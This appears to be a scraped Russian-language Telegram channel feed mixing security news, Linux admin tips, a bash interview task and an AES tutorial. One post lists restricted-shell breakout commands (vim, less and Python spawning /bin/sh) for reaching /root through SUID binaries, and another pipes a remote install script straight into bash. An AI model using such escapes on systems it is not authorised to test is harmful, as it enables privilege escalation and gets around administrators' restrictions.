🛡️ CVE обретает стабильность: возобновление финансирования и создание независимого фонда
После недели неопределённости Министерство внутренней безопасности США продлило контракт с MITRE на поддержку базы CVE — фундаментальной системы идентификации уязвимостей, используемой всеми от Apache до Google. Но главная новость — анонс CVE Foundation, некоммерческой организации, которая возьмёт на себя долгосрочное управление проектом, устранив зависимость от государственного финансирования.
Этот шаг стал результатом годовой работы коалиции членов CVE Board (включая представителей Linux Foundation, Google и Red Hat), обеспокоенных глобальной зависимостью инфраструктуры кибербезопасности от единственного источника. Фонд сохранит существующую систему с 453 CNA-участниками, но добавит прозрачности в процесс управления.
🔗 Ссылка - *клик*
@linuxkalii
После недели неопределённости Министерство внутренней безопасности США продлило контракт с MITRE на поддержку базы CVE — фундаментальной системы идентификации уязвимостей, используемой всеми от Apache до Google. Но главная новость — анонс CVE Foundation, некоммерческой организации, которая возьмёт на себя долгосрочное управление проектом, устранив зависимость от государственного финансирования.
Этот шаг стал результатом годовой работы коалиции членов CVE Board (включая представителей Linux Foundation, Google и Red Hat), обеспокоенных глобальной зависимостью инфраструктуры кибербезопасности от единственного источника. Фонд сохранит существующую систему с 453 CNA-участниками, но добавит прозрачности в процесс управления.
🔗 Ссылка - *клик*
@linuxkalii
🔥45👍15❤4🥰1👏1🤔1
🔐 TLS-сертификаты станут скоропортящимися: введение новых правил CA/Browser Forum.
Крупнейшие игроки интернет-индустрии договорились о радикальном сокращении срока жизни TLS-сертификатов — с нынешних 13 месяцев до всего 47 дней к 2029 году.
Это решение, поддержанное 29 участниками ассоциации, направлено на борьбу с последствиями утечек и ускорение перехода на новые криптостандарты. Особое внимание уделено SAN-сертификатам: их валидация теперь будет действительна лишь 10 дней.
🔗 Ссылка - *клик*
@linuxkalii
Крупнейшие игроки интернет-индустрии договорились о радикальном сокращении срока жизни TLS-сертификатов — с нынешних 13 месяцев до всего 47 дней к 2029 году.
Это решение, поддержанное 29 участниками ассоциации, направлено на борьбу с последствиями утечек и ускорение перехода на новые криптостандарты. Особое внимание уделено SAN-сертификатам: их валидация теперь будет действительна лишь 10 дней.
🔗 Ссылка - *клик*
@linuxkalii
👍33❤5🔥5🤔2
🌐 Tor Browser 14.5 — крупное обновление для мобильных и десктоп-платформ. После полугода разработки выпущена новая версия любимого всеми анонимного браузера на базе Firefox 128 ESR.
Особенность релиза — усиленная защита от цифрового фингерпринтинга. Браузер не просто блокирует трекеры, но и камуфлирует системные параметры, нейтрализуя 15+ Web-API. При этом улучшена диагностика подключений — теперь лог операций обновляется в реальном времени без перезагрузки интерфейса.
🔗 Ссылка - *клик*
@linuxkalii
Особенность релиза — усиленная защита от цифрового фингерпринтинга. Браузер не просто блокирует трекеры, но и камуфлирует системные параметры, нейтрализуя 15+ Web-API. При этом улучшена диагностика подключений — теперь лог операций обновляется в реальном времени без перезагрузки интерфейса.
🔗 Ссылка - *клик*
@linuxkalii
👍50🔥9🎉9❤5🤔1
🤖 Исследователи обнаружили тревожный тренд: ИИ-ассистенты вроде ChatGPT и Gemini всё чаще предлагают код с несуществующими зависимостями. Злоумышленники быстро адаптировались — они регистрируют эти галлюцинированные названия в PyPI и NPM, наполняя их вредоносным кодом.
Под особой угрозой разработчики, практикующие vibe-coding — бездумное копирование ИИ-подсказок. Некоторые фейковые пакеты выглядят убедительно: имеют документацию, GitHub-репозитории и даже блоги-однодневки.
‼️ Фонд Python называет эту тактику «слопсквоттинг» (от *slop* — «мусорный вывод ИИ») и усиливает защиту репозиториев. Пока главная рекомендация — вручную проверять каждую зависимость, даже если её рекомендует ИИ.
🔗 Ссылка - *клик*
@linuxkalii
Под особой угрозой разработчики, практикующие vibe-coding — бездумное копирование ИИ-подсказок. Некоторые фейковые пакеты выглядят убедительно: имеют документацию, GitHub-репозитории и даже блоги-однодневки.
‼️ Фонд Python называет эту тактику «слопсквоттинг» (от *slop* — «мусорный вывод ИИ») и усиливает защиту репозиториев. Пока главная рекомендация — вручную проверять каждую зависимость, даже если её рекомендует ИИ.
🔗 Ссылка - *клик*
@linuxkalii
😁40👍8🔥6🥰4❤1
Когда система кажется неприступной и администратор «залочил» вас в белом списке оболочек, не спешите сдаваться. Если среди разрешённых утилит есть vi/vim или less, они могут стать вашим ключом к свободе.
✨ 1. Волшебная интерактивная оболочка через Vim
Представьте, что у вас есть доступ к бинарям с SUID/GUID — и что в списке одобренных приложений значится сам Vim. Запустите его так:
vim -c ':!/bin/sh'или
vim --cmd ':set shell=/bin/sh|:shell'И вот, вы уже держите в руках полноценную интерактивную $-оболочку. Гуляйте по файловой системе, исследуйте /root и другие запретные зоны — всё это будет доступно, пока Vim остаётся в вашем распоряжении. 🥳
🌟 2. Плавный выход через Less
Укажем недостатков меньше, чем возможностей у less. Откройте любой файл, например:
less /etc/passwdЗатем просто наберите в самом less:
diff!shПосле этого — вуаля! — перед вами окажется полноценная sh-оболочка. Этот трюк срабатывает везде, где допускается вызов less.
📌 Бонус: Python-эскейп
Если же в окружении есть Python, и вы мечтаете о ещё одном пути к свободе, выполните:
python -c 'import pty; pty.spawn("/bin/sh")'Или, чтобы обойтись без интерактивного ввода:
python - <<<'import os; os.system("/bin/sh")'Эти приёмы давно и прочно обосновались в арсенале пентестеров.
Сохраняйте их, добавляйте в свои бэклоги и применяйте на тестовых стендах!
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥41👍15❤6
В арсенале любого опытного Linux‑администратора есть набор проверенных временем утилит: ls, cd, grep, find, ps, top и другие. Однако за пределами этой стандартной десятки скрываются настоящие «скрытые жемчужины» — мощные, но менее известные инструменты, способные упростить диагностику, автоматизацию и управление системой.
1️⃣ mtr (My Traceroute)
📋 Что делает: объединяет ping и traceroute, постоянно опрашивая каждый хоп и показывая статистику потерь и времени отклика.
💡 Пример:
mtr example.com
2️⃣ ss (Socket Statistics)
📋 Что делает: современная замена netstat. Быстро показывает TCP/UDP/RAW/UNIX‑сокеты и их состояние.
💡 Пример:
ss -tulnp
3️⃣ iotop
📋 Что делает: мониторинг дискового I/O в реальном времени, показывает процессы, активно читающие или пишущие на диск.
💡 Пример:
sudo iotop -o
4️⃣ nethogs
📋 Что делает: группирует сетевой трафик по процессам, позволяет быстро найти «трафик‑хищников».
💡 Пример:
sudo nethogs eth0
5️⃣ lsof (List Open Files)
📋 Что делает: показывает, какие файлы (включая сокеты и устройства) открыты процессами.
💡 Пример:
sudo lsof -i :80
sudo lsof /var/log/syslog
6️⃣ pgrep / pkill
📋 Что делает: ищет или убивает процессы по именам/атрибутам без парсинга ps | grep.
💡 Пример:
pgrep -u nginx
pkill -f "python my_script.py"
7️⃣ pstree
📋 Что делает: отображает дерево процессов с PID и связями «родитель → дочерний».
💡 Пример:
pstree -p
8️⃣ dstat
📋 Что делает: универсальный генератор статистики CPU, диска, сети, памяти, I/O в реальном времени.
💡 Пример:
dstat -tcdmn
9️⃣ atop
📋 Что делает: продвинутый мониторинг производительности с возможностью записи истории метрик.
💡 Пример:
atop
atop -r /var/log/atop/atop_20250418
🔟 multitail
📋 Что делает: позволяет «tail -f» сразу несколько лог‑файлов в одном терминале с разделёнными панелями.
💡 Пример:
multitail /var/log/nginx/access.log /var/log/nginx/error.log
1️⃣1️⃣ parallel (GNU Parallel)
📋 Что делает: выполняет команды параллельно, альтернатива xargs для многоядерных систем.
💡 Пример:
find . -name "*.jpg" | parallel convert {} {.}.png
1️⃣2️⃣ watch
📋 Что делает: периодически запускает команду и обновляет её вывод в реальном времени.
💡 Пример:
watch -n 1 'ss -an | grep ESTABLISHED | wc -l'1️⃣3️⃣ script / scriptreplay
📋 Что делает: записывает терминальную сессию (ввод/вывод) в файл; scriptreplay воспроизводит её.
💡 Пример:
script my_session.log
exit
scriptreplay my_session.log1️⃣4️⃣ lsblk
📋 Что делает: показывает блочные устройства (диски, разделы, LVM) в древовидном формате.
💡 Пример:
lsblk -f1️⃣5️⃣ getent
📋 Что делает: получает записи из NSS‑источников (passwd, group, hosts и т.д.), включая LDAP/NIS.
💡 Пример:
getent passwd username
getent hosts google.com
1️⃣6️⃣ chage
📋 Что делает: управляет политиками устаревания паролей пользователей.
💡 Пример:
sudo chage -l username
sudo chage -M 90 username1️⃣7️⃣ column
📋 Что делает: форматирует текстовый ввод в аккуратные колонки.
💡 Пример:
mount | column -t1️⃣8️⃣ dig (Domain Information Groper)
📋 Что делает: мощный DNS‑клиент для гибких запросов к DNS‑серверам.
💡 Пример:
dig google.com MX +short
dig @8.8.8.8 example.org A1️⃣9️⃣ dpkg -L / rpm -ql📋 Что делает: показывает файлы, установленные пакетом (Debian/Ubuntu или RHEL/CentOS).
💡 Пример:
dpkg -L nginx-core
rpm -ql httpd2️⃣0️⃣ journalctl
📋 Что делает: запрашивает логи из systemd‑журнала с гибкими фильтрами по юнитам, времени и приоритетам.
💡 Пример:
journalctl -u nginx.service -f
journalctl --since "1 hour ago"@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍58🔥25❤6🎉5
⚡️Легкий способ получать свежие обновления и следить за трендами в разработке на вашем языке. Находите свой стек и подписывайтесь:
Python: t.me/pythonl
Linux: t.me/linuxacademiya
Собеседования DS: t.me/machinelearning_interview
Нерйросети t.me/ai_machinelearning_big_data
C++ t.me/cpluspluc
Docker: t.me/DevopsDocker
Хакинг: t.me/linuxkalii
Devops: t.me/DevOPSitsec
Data Science: t.me/data_analysis_ml
Javascript: t.me/javascriptv
C#: t.me/csharp_ci
Java: t.me/javatg
Базы данных: t.me/sqlhub
Python собеседования: t.me/python_job_interview
Мобильная разработка: t.me/mobdevelop
Golang: t.me/Golang_google
React: t.me/react_tg
Rust: t.me/rust_code
ИИ: t.me/vistehno
PHP: t.me/phpshka
Android: t.me/android_its
Frontend: t.me/front
Big Data: t.me/bigdatai
МАТЕМАТИКА: t.me/data_math
Kubernets: t.me/kubernetc
Разработка игр: https://t.me/gamedev
Haskell: t.me/haskell_tg
Физика: t.me/fizmat
💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy
Папка ML: https://t.me/addlist/2Ls-snqEeytkMDgy
Папка FRONTEND: https://t.me/addlist/mzMMG3RPZhY2M2Iy
😆ИТ-Мемы: t.me/memes_prog
🇬🇧Английский: t.me/english_forprogrammers
🧠ИИ: t.me/vistehno
🎓954ГБ ОПЕНСОРС КУРСОВ: @courses
📕Ит-книги бесплатно: https://t.me/addlist/BkskQciUW_FhNjEy
Python: t.me/pythonl
Linux: t.me/linuxacademiya
Собеседования DS: t.me/machinelearning_interview
Нерйросети t.me/ai_machinelearning_big_data
C++ t.me/cpluspluc
Docker: t.me/DevopsDocker
Хакинг: t.me/linuxkalii
Devops: t.me/DevOPSitsec
Data Science: t.me/data_analysis_ml
Javascript: t.me/javascriptv
C#: t.me/csharp_ci
Java: t.me/javatg
Базы данных: t.me/sqlhub
Python собеседования: t.me/python_job_interview
Мобильная разработка: t.me/mobdevelop
Golang: t.me/Golang_google
React: t.me/react_tg
Rust: t.me/rust_code
ИИ: t.me/vistehno
PHP: t.me/phpshka
Android: t.me/android_its
Frontend: t.me/front
Big Data: t.me/bigdatai
МАТЕМАТИКА: t.me/data_math
Kubernets: t.me/kubernetc
Разработка игр: https://t.me/gamedev
Haskell: t.me/haskell_tg
Физика: t.me/fizmat
💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy
Папка ML: https://t.me/addlist/2Ls-snqEeytkMDgy
Папка FRONTEND: https://t.me/addlist/mzMMG3RPZhY2M2Iy
😆ИТ-Мемы: t.me/memes_prog
🇬🇧Английский: t.me/english_forprogrammers
🧠ИИ: t.me/vistehno
🎓954ГБ ОПЕНСОРС КУРСОВ: @courses
📕Ит-книги бесплатно: https://t.me/addlist/BkskQciUW_FhNjEy
👍9❤3🔥3
🧩 Условие:
Перед вами скрипт
start_server.sh, который должен запускать серверное приложение в фоне и писать логи. Вот его код:
#!/bin/bash
APP_PATH="/opt/myapp/server"
LOG_PATH="/var/log/myapp/server.log"
nohup $APP_PATH > $LOG_PATH 2>&1 &
echo $! > /var/run/myapp.pid
Однако:
- Иногда сервер не стартует.
- Иногда сервер стартует, но процесс через несколько секунд исчезает.
- Иногда лог-файл пустой или обрывается посередине.
Требуется:
- Найти все ошибки в этом скрипте.
- Объяснить, почему они происходят.
- Предложить исправленную версию скрипта.
---
▪️ Подсказки:
- Обратите внимание на работу
nohup, выводы в лог, управление путями, записи PID, обработку ошибок.- Помните про особенности запуска фоновых процессов в Bash.
- Подумайте о правах доступа к папкам
/var/log и /var/run.---
- Глубокое понимание системных процессов Linux.
- Умение выявлять скрытые ошибки запуска фоновых сервисов.
- Правильное использование команд оболочки для стабильного старта приложений.
- Практическое мышление в реальных DevOps-ситуациях.
---
▪️ Ошибка 1: Неверное использование
$APP_PATH- Просто указывая путь, мы не проверяем, существует ли файл, исполняемый ли он.
- Если
$APP_PATH не существует или не имеет права на исполнение, nohup запустится, но процесс быстро "умрет".▪️ Ошибка 2: Отсутствие проверки успешности запуска
- Скрипт сразу пишет
$! в PID-файл, не проверяя, действительно ли процесс стартовал корректно.▪️ Ошибка 3: Проблемы с
nohup- Если директория
/var/log/myapp не существует или нет прав на запись, то перенаправление в $LOG_PATH вызовет мгновенный крах nohup.▪️ Ошибка 4: PID-файл создается без проверки
- Если директория
/var/run/myapp не существует, команда echo $! > /var/run/myapp.pid провалится молча, PID будет потерян.▪️ Ошибка 5: Нехватка "обезопасивания" путей
- Прямое использование переменных в Bash без кавычек (`"$APP_PATH"`, `"$LOG_PATH"`) может вызвать ошибки, если в пути есть пробелы.
---
▪️ Исправленная версия скрипта:
#!/bin/bash
APP_PATH="/opt/myapp/server"
LOG_DIR="/var/log/myapp"
RUN_DIR="/var/run/myapp"
LOG_PATH="$LOG_DIR/server.log"
PID_FILE="$RUN_DIR/myapp.pid"
# Проверяем наличие исполняемого файла
if [ ! -x "$APP_PATH" ]; then
echo "Ошибка: приложение $APP_PATH не найдено или не имеет права на исполнение."
exit 1
fi
# Создаём каталоги при необходимости
mkdir -p "$LOG_DIR" "$RUN_DIR"
# Запускаем приложение
nohup "$APP_PATH" >> "$LOG_PATH" 2>&1 &
APP_PID=$!
# Небольшая пауза для стабильного старта
sleep 1
# Проверяем, жив ли процесс
if ps -p $APP_PID > /dev/null; then
echo $APP_PID > "$PID_FILE"
echo "Сервер успешно запущен с PID $APP_PID."
else
echo "Ошибка: процесс не запустился корректно. См. лог $LOG_PATH."
exit 1
fi
🔖 Ключевые улучшения:
- Проверка наличия исполняемого файла.
- Безопасное создание директорий перед записью логов и PID-файла.
- Проверка успешного старта процесса перед записью PID.
- Кавычки вокруг переменных для защиты от ошибок в путях.
- Вывод информативных ошибок.
📌 Дополнительные вопросы на собеседовании:
- Почему лучше использовать
exec в скриптах демонизации?- Чем отличается
nohup от запуска через systemd?- Как улучшить управление процессом, чтобы обрабатывать перезапуски и сбои?
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍49❤12🔥7👎2
⚠️ Критическая уязвимость в NPM-пакете xrpl.js: бэкдор для кражи криптоключей.
Официальная библиотека для работы с криптовалютой XRP оказалась скомпрометирована — злоумышленники внедрили вредоносный код в версии 2.14.2 и 4.2.1-4.2.4. Под видом функции проверки ключей
Атака длилась менее суток (21-22 апреля), но за это время уязвимые версии успели скачать 165 тысяч раз. Подозревается компрометация аккаунта мейнтейнера через фишинг. Разработчики XRP Ledger оперативно выпустили патч в версиях 4.2.5 и 2.14.3.
🔗 Ссылка - *клик*
@linuxkalii
Официальная библиотека для работы с криптовалютой XRP оказалась скомпрометирована — злоумышленники внедрили вредоносный код в версии 2.14.2 и 4.2.1-4.2.4. Под видом функции проверки ключей
checkValidityOfSeed пакет тайно отправлял приватные ключи кошельков на внешний сервер. Атака длилась менее суток (21-22 апреля), но за это время уязвимые версии успели скачать 165 тысяч раз. Подозревается компрометация аккаунта мейнтейнера через фишинг. Разработчики XRP Ledger оперативно выпустили патч в версиях 4.2.5 и 2.14.3.
🔗 Ссылка - *клик*
@linuxkalii
👍21😁6🔥5❤4
Если система начинает тормозить или странно себя вести, быстрое выявление проблем (нагрузка на CPU, память, диск, сеть) может спасти сервер или рабочую машину от падения.
---
**Топ-5 инструментов для реального мониторинга в Linux:**
▪️
htop — улучшенная версия top- Красивое цветное отображение процессов.
- Быстрая сортировка по нагрузке на CPU, память.
- Можно убивать или приостанавливать процессы прямо из интерфейса.
sudo apt install htop
htop
▪️
iotop — мониторинг ввода-вывода дисков- Показывает, какие процессы нагружают диск.
- Полезно при тормозах связанных с дисковыми операциями.
sudo apt install iotop
sudo iotop
▪️
iftop — сетевой мониторинг в реальном времени- Отображает, кто сколько трафика потребляет.
- Идеально для поиска сетевых утечек или подозрительной активности.
sudo apt install iftop
sudo iftop
▪️
glances — комплексный мониторинг системы- Объединяет CPU, память, диск, сеть в одном удобном окне.
- Адаптивный интерфейс, много деталей.
sudo apt install glances
glances
▪️
dstat — мониторинг ресурсов по категориям- Универсальный инструмент для анализа CPU, сети, ввода-вывода, использования памяти и т.д.
sudo apt install dstat
dstat
---
Бонус:
Если хочешь красивый мониторинг в браузере → попробуй
netdata:
bash <(curl -Ss https://my-netdata.io/kickstart.sh)
---
Вывод:
Настоящий мастер Linux постоянно мониторит систему, а не ищет проблему только после падения.
---
Please open Telegram to view this post
VIEW IN TELEGRAM
👍41🔥13❤11👎1😁1
🔒 Microsoft ограничила работу своего C/C++ расширения в форках VS Code
Пользователи альтернативных редакторов на базе VS Code столкнулись с блокировкой проприетарного расширения для C/C++ от Microsoft. После обновления до версии 1.24.5 плагин начал выдавать ошибку, сообщая о возможности работы только в официальных продуктах Microsoft — VS Code, Visual Studio и связанных сервисах.
Ситуация вновь поднимает вопрос о зависимости open-source проектов от проприетарных дополнений. Пока единственное решение для тех, кому критично расширение от Microsoft — откат на старую версию и отключение автообновлений.
🔗 Ссылка - *клик*
@linuxkalii
Пользователи альтернативных редакторов на базе VS Code столкнулись с блокировкой проприетарного расширения для C/C++ от Microsoft. После обновления до версии 1.24.5 плагин начал выдавать ошибку, сообщая о возможности работы только в официальных продуктах Microsoft — VS Code, Visual Studio и связанных сервисах.
Ситуация вновь поднимает вопрос о зависимости open-source проектов от проприетарных дополнений. Пока единственное решение для тех, кому критично расширение от Microsoft — откат на старую версию и отключение автообновлений.
🔗 Ссылка - *клик*
@linuxkalii
😁28👍12😢5❤3🔥3🥰1
🚨 Уязвимость в ядре Linux: повышение привилегий через VSOCK (CVE-2025-21756)
Что случилось?
Обнаружена уязвимость «use-after-free» в реализации AF_VSOCK (виртуальных сокетов) ядра Linux, которая позволяет локальному злоумышленнику получить права root.
🔜 Ключевые факты
- Идентификатор: CVE-2025-21756
- Тип уязвимости: Use-After-Free в функции удаления сокета VSOCK
- Влияние: выполнение произвольного кода с правами root на уязвимых системах
- Рабочий эксплоит: доказан на ядре 6.6.75 (для других версий требуется правка кода эксплоита)
Затронутые версии
- Все ядра Linux до 6.14 (включительно)
- Стабильные ветки 6.12.16, 6.6.79, 6.1.131 и ранее
- Корпоративные сборки: RHEL, SUSE/openSUSE, Ubuntu, Debian 12 (уже исправлены)
- Debian 11 — до сих пор уязвим
Механизм уязвимости
1. При переназначении транспорта для AF_VSOCK вызывается vsock_remove_sock().
2. Далее vsock_remove_bound() неправильно уменьшает счётчик ссылок на объект сокета.
3. Счётчик становится равным нулю, ядро освобождает память, хотя объект ещё используется.
4. Локальный пользователь получает доступ к освобождённой памяти и может выполнить произвольный код с привилегиями ядра.
👽 Как защититься
1. Обновите ядро до версии 6.14 или выше.
2. Установите последние февральские/мартовские патчи для веток 6.12.16, 6.6.79 и 6.1.131.
3. На дистрибутивах RHEL, SUSE/openSUSE, Ubuntu и Debian 12 убедитесь, что установлены свежие пакеты ядра.
4. В Debian 11 — либо обновитесь до Debian 12, либо вручную соберите патченный пакет ядра.
❗ **Важно:** если на системе используются контейнеры или виртуальные машины с VSOCK, немедленно примените обновления — эксплоит работает локально и не требует дополнительных разрешений.
⚫️ Эксплоит
@linuxkalii
Что случилось?
Обнаружена уязвимость «use-after-free» в реализации AF_VSOCK (виртуальных сокетов) ядра Linux, которая позволяет локальному злоумышленнику получить права root.
- Идентификатор: CVE-2025-21756
- Тип уязвимости: Use-After-Free в функции удаления сокета VSOCK
- Влияние: выполнение произвольного кода с правами root на уязвимых системах
- Рабочий эксплоит: доказан на ядре 6.6.75 (для других версий требуется правка кода эксплоита)
Затронутые версии
- Все ядра Linux до 6.14 (включительно)
- Стабильные ветки 6.12.16, 6.6.79, 6.1.131 и ранее
- Корпоративные сборки: RHEL, SUSE/openSUSE, Ubuntu, Debian 12 (уже исправлены)
- Debian 11 — до сих пор уязвим
Механизм уязвимости
1. При переназначении транспорта для AF_VSOCK вызывается vsock_remove_sock().
2. Далее vsock_remove_bound() неправильно уменьшает счётчик ссылок на объект сокета.
3. Счётчик становится равным нулю, ядро освобождает память, хотя объект ещё используется.
4. Локальный пользователь получает доступ к освобождённой памяти и может выполнить произвольный код с привилегиями ядра.
1. Обновите ядро до версии 6.14 или выше.
2. Установите последние февральские/мартовские патчи для веток 6.12.16, 6.6.79 и 6.1.131.
3. На дистрибутивах RHEL, SUSE/openSUSE, Ubuntu и Debian 12 убедитесь, что установлены свежие пакеты ядра.
4. В Debian 11 — либо обновитесь до Debian 12, либо вручную соберите патченный пакет ядра.
❗ **Важно:** если на системе используются контейнеры или виртуальные машины с VSOCK, немедленно примените обновления — эксплоит работает локально и не требует дополнительных разрешений.
⚫️ Эксплоит
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥35👍23❤8😱2
Два месяца подряд любой мог получить доступ к более чем 60 внутренним моделям xAI, в том числе неанонсированным версиям Grok. Ключ работал до 30 апреля.
Похоже, xAI таким образом решили стать open source 😁
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁71👍18❤6🔥3
📌 Задача: «Загадочный рост нагрузки в полночь»
Каждую ночь, ровно в 00:00, сервер на Linux (Ubuntu 22.04 LTS) начинает внезапно потреблять повышенное количество ресурсов (CPU и RAM).
Через 5-10 минут нагрузка сама возвращается в норму, не оставляя очевидных следов. В течение дня ситуация стабильная и не проявляется.
📌 Администратору поступила задача:
- Определить причину еженощного кратковременного всплеска нагрузки.
- Выявить конкретный процесс или задачи, которые запускаются.
- Предложить решение для оптимизации или полного устранения проблемы.
🧩 Ограничения и подсказки:
Логи системного планировщика (cron) почему-то пусты или очищаются.
На сервере включена система мониторинга systemd.
Возможны скрытые задачи в системных директориях (/etc/cron.*, /var/spool/cron).
Используются контейнеры Docker (возможно, что-то происходит в контейнерах).
Пользовательские процессы не явно обозначают себя в списке ps aux.
🛠️ Какие команды и подходы следует использовать?
Шаг 1: Анализ нагрузки
Шаг 2: Поиск подозрительных процессов
Шаг 3: Исследование задач по времени запуска
Шаг 4: Проверка Docker-контейнеров
Шаг 5: Анализ сетевой активности и дисковой активности
✅ Решение и итог:
Определить процесс или скрытую задачу.
Установить, кто или что запускает этот процесс.
Удалить, оптимизировать или перенастроить планировщик (cron, systemd timer) или Docker-контейнер, чтобы устранить кратковременные скачки нагрузки.
Такая задача заставляет администратора комплексно проверить сервер и выявить скрытые или нетипичные источники нагрузки, проявить внимательность к деталям и глубокие знания инструментов анализа Linux.
@linuxkalii
Каждую ночь, ровно в 00:00, сервер на Linux (Ubuntu 22.04 LTS) начинает внезапно потреблять повышенное количество ресурсов (CPU и RAM).
Через 5-10 минут нагрузка сама возвращается в норму, не оставляя очевидных следов. В течение дня ситуация стабильная и не проявляется.
- Определить причину еженощного кратковременного всплеска нагрузки.
- Выявить конкретный процесс или задачи, которые запускаются.
- Предложить решение для оптимизации или полного устранения проблемы.
🧩 Ограничения и подсказки:
Логи системного планировщика (cron) почему-то пусты или очищаются.
На сервере включена система мониторинга systemd.
Возможны скрытые задачи в системных директориях (/etc/cron.*, /var/spool/cron).
Используются контейнеры Docker (возможно, что-то происходит в контейнерах).
Пользовательские процессы не явно обозначают себя в списке ps aux.
🛠️ Какие команды и подходы следует использовать?
Шаг 1: Анализ нагрузки
htop
vmstat 1
sar -q
Шаг 2: Поиск подозрительных процессов
ps aux --sort=-%cpu | head -n 20
ps aux --sort=-%mem | head -n 20
pidstat -u 1 10
Шаг 3: Исследование задач по времени запуска
journalctl --since "23:59" --until "00:10"
systemctl list-timers
grep -rnw '/etc/' -e '00:00'
Шаг 4: Проверка Docker-контейнеров
docker stats
docker ps -a --format "{{.ID}} {{.Image}} {{.Command}} {{.RunningFor}}"
docker inspect $(docker ps -q) --format '{{ .Id }}: {{ .State.StartedAt }}'
Шаг 5: Анализ сетевой активности и дисковой активности
iftop -nNP
iotop -oPa
✅ Решение и итог:
Определить процесс или скрытую задачу.
Установить, кто или что запускает этот процесс.
Удалить, оптимизировать или перенастроить планировщик (cron, systemd timer) или Docker-контейнер, чтобы устранить кратковременные скачки нагрузки.
Такая задача заставляет администратора комплексно проверить сервер и выявить скрытые или нетипичные источники нагрузки, проявить внимательность к деталям и глубокие знания инструментов анализа Linux.
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍106🔥12❤7😱2
👾 Опубликованы новые релизы свободных загрузочных прошивок Libreboot 25.04 и Canoeboot 25.04. Эти проекты предлагают полностью открытую замену проприетарным BIOS/UEFI, удаляя закрытые компоненты вроде Intel ME.
В новом релизе Libreboot добавлена поддержка плат Acer Q45T-AM/G43T-AM3, обновлены инструменты сборки (Debian 12.10, GCC 15) и компоненты. Canoeboot, как более строгая версия, исключает все бинарные вставки, сохраняя совместимость лишь с ограниченным набором устройств — от старых ThinkPad до PlayStation 1.
🔗 Ссылка - *клик*
@linuxkalii
В новом релизе Libreboot добавлена поддержка плат Acer Q45T-AM/G43T-AM3, обновлены инструменты сборки (Debian 12.10, GCC 15) и компоненты. Canoeboot, как более строгая версия, исключает все бинарные вставки, сохраняя совместимость лишь с ограниченным набором устройств — от старых ThinkPad до PlayStation 1.
🔗 Ссылка - *клик*
@linuxkalii
👍31🔥9❤5
# 🔐 Современный алгоритм шифрования: AES
В современном мире данных шифрование — это не роскошь, а необходимость. От защиты банковских транзакций до хранения паролей — всё держится на надёжных алгоритмах.
Один из самых популярных и надёжных стандартов сегодня — AES (Advanced Encryption Standard).
💡 Что такое AES?
AES — симметричный алгоритм блочного шифрования.
- Один и тот же ключ используется для шифрования и дешифрования.
- Данные обрабатываются блоками фиксированной длины (обычно **128 бит**).
AES стал стандартом в 2001 году и до сих пор считается устойчивым к атакам при правильной реализации.
📏 Длина ключа
AES поддерживает ключи длиной:
- 128 бит (16 байт)
- 192 бит (24 байта)
- 256 бит (32 байта)
Чем длиннее ключ, тем выше стойкость к атакам.
Как работает AES?
1. Данные разбиваются на блоки по 128 бит.
2. Каждый блок проходит через несколько раундов шифрования:
- Подстановки байтов
- Перемешивания строк
- Перемешивания столбцов
- Наложения ключа
3. Количество раундов зависит от длины ключа:
- 128 бит → 10 раундов
- 192 бит → 12 раундов
- 256 бит → 14 раундов
В отличие от DES, AES не использует перестановки бит — он работает на уровне байтов и матриц.
🐍 Пример использования AES на Python
Для работы с AES используем библиотеку PyCryptodome:
✅ Обратите внимание:
key — секретный ключ (должен храниться в секрете).
iv (инициализационный вектор) — нужен для дешифрования, его можно передавать открытым текстом.
Используется padding, чтобы текст был кратен размеру блока.
🔍 Почему AES?
Безопасен — нет известных практических атак.
Быстрее DES и 3DES.
Широко поддерживается во всех современных протоколах (TLS, SSH, VPN, ZIP, WhatsApp).
⚠️ Важные рекомендации
Никогда не используйте один и тот же ключ и IV для нескольких сообщений.
Храните ключи в защищённом хранилище.
При передаче данных используйте безопасные протоколы.
➡️ AES — это золотой стандарт симметричного шифрования. Его применяют везде: от HTTPS и VPN до мессенджеров.
С помощью Python и библиотеки PyCryptodome его можно легко интегрировать в свои проекты.
В современном мире данных шифрование — это не роскошь, а необходимость. От защиты банковских транзакций до хранения паролей — всё держится на надёжных алгоритмах.
Один из самых популярных и надёжных стандартов сегодня — AES (Advanced Encryption Standard).
💡 Что такое AES?
AES — симметричный алгоритм блочного шифрования.
- Один и тот же ключ используется для шифрования и дешифрования.
- Данные обрабатываются блоками фиксированной длины (обычно **128 бит**).
AES стал стандартом в 2001 году и до сих пор считается устойчивым к атакам при правильной реализации.
📏 Длина ключа
AES поддерживает ключи длиной:
- 128 бит (16 байт)
- 192 бит (24 байта)
- 256 бит (32 байта)
Чем длиннее ключ, тем выше стойкость к атакам.
Как работает AES?
1. Данные разбиваются на блоки по 128 бит.
2. Каждый блок проходит через несколько раундов шифрования:
- Подстановки байтов
- Перемешивания строк
- Перемешивания столбцов
- Наложения ключа
3. Количество раундов зависит от длины ключа:
- 128 бит → 10 раундов
- 192 бит → 12 раундов
- 256 бит → 14 раундов
В отличие от DES, AES не использует перестановки бит — он работает на уровне байтов и матриц.
🐍 Пример использования AES на Python
Для работы с AES используем библиотеку PyCryptodome:
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
# Генерируем случайный 16-байтовый ключ
key = get_random_bytes(16)
# Создаём объект AES в режиме CBC (Cipher Block Chaining)
cipher = AES.new(key, AES.MODE_CBC)
# Данные для шифрования
data = b"Hello, this is a secret message!"
# Дополняем данные до кратности 16
padded_data = pad(data, AES.block_size)
# Шифруем
encrypted_data = cipher.encrypt(padded_data)
print("Зашифрованные данные:", encrypted_data)
